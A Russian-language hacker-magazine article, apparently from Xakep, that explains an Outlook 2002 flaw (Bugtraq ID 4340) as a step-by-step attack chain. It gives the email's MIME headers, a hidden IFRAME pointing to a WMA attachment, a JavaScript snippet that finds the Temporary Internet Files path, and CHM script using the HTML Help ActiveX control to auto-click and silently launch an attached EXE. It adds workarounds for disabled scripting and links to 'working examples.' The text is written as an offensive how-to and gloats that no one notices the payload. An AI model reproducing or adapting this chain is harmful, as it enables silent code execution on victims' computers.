Пользовался как-то юзер Х рульной программулиной Outlook 2002. И все вроде у него было хорошо, пока не получил он однажды письмецо электронное, вроде бы такое как все… Но был там тэг IFRAME, и запустился у него Windows Media Player тихонечко, да да не один, а еще и *.exe левый за собой потащил. И началась с тех пор у юзера совсем другая жизнь…
Да… в общем не сказочка это вовсе, а печальная реальность, реальность пришедшая к нам под кодом Bugtraq ID 4340.
Суть бага
Жертве направляется письмо с следующими
файлами: xxx.html, xxx.chm, xxx.wma, xxx.exe, причем xxx.exe из них наиболее интересен ;-). Как ты знаешь, есть такая замечательная папка Temporary Internet Files (TIF), в нее очень любят складывать файлы такие программы как Internet Explorer и Outlook. Им (файлам) дается расширение TMP, но по сути, тот же самый Outlook без проблем опознает тип подобного файла исходя из "Content-Type" и "Content-ID". Через HTML мы можем восстановить исходные имена.
Все эти файлы попадают в TIF, причем, если ты замечал, то в TIF существует великое множество подпапок, так что предсказать в какую папку попадут наши файлы заранее невозможно
(в этом то и состоит основная трудность!). Итак, теперь файлы находятся у жертвы в TIF и пока не активны.
Само наше письмо содержит в себе тег по типу следующего:
<iframe src="https://xakep.ru/wp-content/uploads/post/14884/cid:mrs.malware" style="display:none">
где cid:mrs.malware - это наш файл xxx.wma
А находит его исходя из следующего:
Content-Type: audio/x-ms-wma;
name="xxx.wma"
Content-Transfer-Encoding: base64
Content-ID: <mrs.malware>
Content-Location: file:///malware.wma
Для нас тэг IFRAME замечателен тем, что автоматически вызывается Windows Media Player
(конечно если он является проигрывателем
для файлов такого типа) и "исполняется" тот файл, который указан, как "источник" - в нашем случае это xxx.wma
(это и есть основная фишка - мультимедийный
файл проигрывается без запроса). А так как он "наш", то его миссия будет лишь указать на открытие xxx.html, куда мы запихнем следующее:
xxx=document.URL;
path=xxx.substr(-0,xxx.lastIndexOf("\\"));
path=unescape(path);
Как ты видишь это скрипт, цель которого определить путь к директории из которой он был запущен. Имея этот путь можем вызвать наш xxx.chm
(более подробно о другом интересном баге,
связанном с файлом помощи вы можете
прочитать в другой
нашей статье) со следующим содержанием:
var xxx="xxx[1].exe";
document.writeln('<OBJECT id=AA classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=10 height=10>');
document.writeln('<PARAM name="Command" value="ShortCut">');
document.writeln(' <PARAM name="Item1"
value=",'+cool.path+xxx+',">');
document.writeln('</OBJECT>');
setTimeout("AA.Click();",3000);
БУМ! xxx.exe запущен. Никто ничего не видел, никто ничего не знает…
Если более кратко обрисовать схему: все
файлы переносятся во временную папку на
машине пользователя - автоматически
запускается на выполнение подставной
мультимедийный файл WMA - он обращается к HTML
файлу, который открывается в новом окне и
определяет полный путь к файлу - HTML файл
вызывает файл справки CHM - файл справки на
основании полученных данных запускает EXE'шник.
Полный алес капут.
Замечания
Для определения пути к директории был использован скриптинг. Однако в браузере он может быть отключен. Тогда необходимо использовать теги с относительными путями, к примеру:
<bgsound src=xxx.chm
или
<img src=ххх.html
Ну и конечно надеяться, что все файлы попадут в одну папку… Кстати, люди исследовавшие эту уязвимость оценивают подобную вероятность как 50/50.
Рабочие примеры:
http://www.malware.com/oxpress.zip
http://www.malware.com/outlook.zip